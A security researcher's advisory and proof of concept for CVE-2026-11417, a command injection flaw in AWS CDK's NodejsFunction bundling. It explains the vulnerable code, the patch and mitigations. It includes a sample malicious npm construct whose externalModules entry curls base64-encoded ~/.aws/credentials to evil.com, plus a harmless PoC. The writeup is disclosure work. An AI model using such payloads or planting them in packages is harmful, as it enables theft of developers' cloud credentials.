Technical writeup and Proof of Concept (PoC) for CVE-2026-11417: OS Command Injection / Remote Code Execution (RCE) in AWS CDK's NodejsFunction.
Author: Hesham Ashraf (@HeshamASH)
Date: June 10, 2026
Severity: High (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
Affected Package: aws-cdk-lib (npm), all versions prior to 2.245.0
Vendor: Amazon Web Services (AWS)
Status: Patched (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Bulletin: AWS-2026-041 | Advisory: GHSA-999r-qq7v-r334
I discovered a command injection vulnerability in the AWS Cloud Development Kit (CDK) that allowed an attacker to achieve Remote Code Execution (RCE) on any machine running cdk synth — including developer workstations and CI/CD pipelines — by publishing a malicious npm package or submitting a crafted Pull Request.
The vulnerability existed because aws-cdk-lib's NodejsFunction construct interpolated user-controlled strings directly into a shell command without sanitization, then executed it via bash -c / cmd /c. AWS patched the issue by replacing shell-based execution with direct spawnSync argument arrays.
The AWS Cloud Development Kit (CDK) is a widely-used open-source framework for defining cloud infrastructure as code. It is used by tens of thousands of developers and CI/CD pipelines to synthesize and deploy AWS CloudFormation stacks.
The NodejsFunction construct is one of the most popular CDK L2 constructs. It bundles TypeScript/JavaScript Lambda functions using esbuild during the synthesis phase (cdk synth).
The NodejsFunction construct's local bundling path built a shell command string by directly interpolating several user-controlled properties without any sanitization:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
The array was then joined into a single string and passed to a shell:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Shell metacharacters like &, ;, |, `, and $(...) within any of the injectable properties would be interpreted by the shell as command separators, enabling arbitrary command execution.
| Property | Sanitization | Risk Level |
|---|---|---|
externalModules | None | Critical |
define (keys) | None (values use JSON.stringify) | Critical |
loader (keys) | None | Critical |
inject | None | Critical |
esbuildArgs (keys/values) | None | Critical |
This vulnerability is particularly dangerous because the injection occurs at the CDK synthesis layer, not during npm install. This means standard npm security measures like --ignore-scripts provide no protection.
An attacker publishes a legitimate-looking npm package that wraps NodejsFunction:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
When a developer installs this package and runs cdk synth, the CDK constructs:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
The & character splits this into two independent shell commands:
npx esbuild --bundle handler.ts --external:lodash — esbuild runs normallycurl https://evil.com/... — attacker's payload exfiltrates AWS credentials| Defense | Effective? | Why |
|---|---|---|
npm install --ignore-scripts | No | Injection happens during cdk synth, not package install |
Code review of package.json | No | The payload is in TypeScript construct code, not scripts |
| npm audit | No | The package contains no known vulnerabilities |
| Lockfile integrity | No | The package itself is installed correctly |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts with injection payloadimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
The file pwned.txt is created, confirming arbitrary command execution on the host.
spawnSyncThe core fix replaces shell command string construction with direct spawnSync using argument arrays:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });
This eliminates shell metacharacter interpretation entirely. The new BundlingStep type system cleanly separates:
spawn steps: esbuild/tsc/install — executed via direct spawnSync with argument arraysshell steps: user-provided commandHooks — intentionally shell-executed (user controls these by contract)fs steps: file operations — no shell involvementOn Windows with Node 22+, direct spawnSync of .cmd shims fails with EINVAL. This PR routes spawn steps through powershell.exe with powershellEscape() — a function that strictly single-quotes each argument using PowerShell's native escaping (doubling internal single quotes), then prepends the & call operator.
Shell execution is a code smell. Any code path that builds a string and passes it to bash -c or cmd /c is a potential command injection vulnerability. Always prefer array-based spawnSync or execFile.
Supply chain attacks bypass install-time defenses. npm audit and --ignore-scripts protect against malicious postinstall scripts, but they cannot protect against vulnerabilities in the tools that process dependencies at build time.
CDK constructs are trusted code. When a developer imports a third-party CDK construct, they implicitly trust it to configure their infrastructure correctly. A malicious construct can leverage this trust to inject payloads into bundling properties that look like ordinary configuration.
Update immediately to aws-cdk-lib version 2.245.0 or later
Audit third-party CDK constructs for unusual bundling property values
Pin CDK construct versions in your package-lock.json
Review PRs that modify bundling configuration with extra scrutiny
Reproduce the vulnerability using the files provided in the poc/ folder.
Discovered and reported by Hesham Ashraf (@HeshamASH). Coordinated disclosure conducted through the AWS VDP program.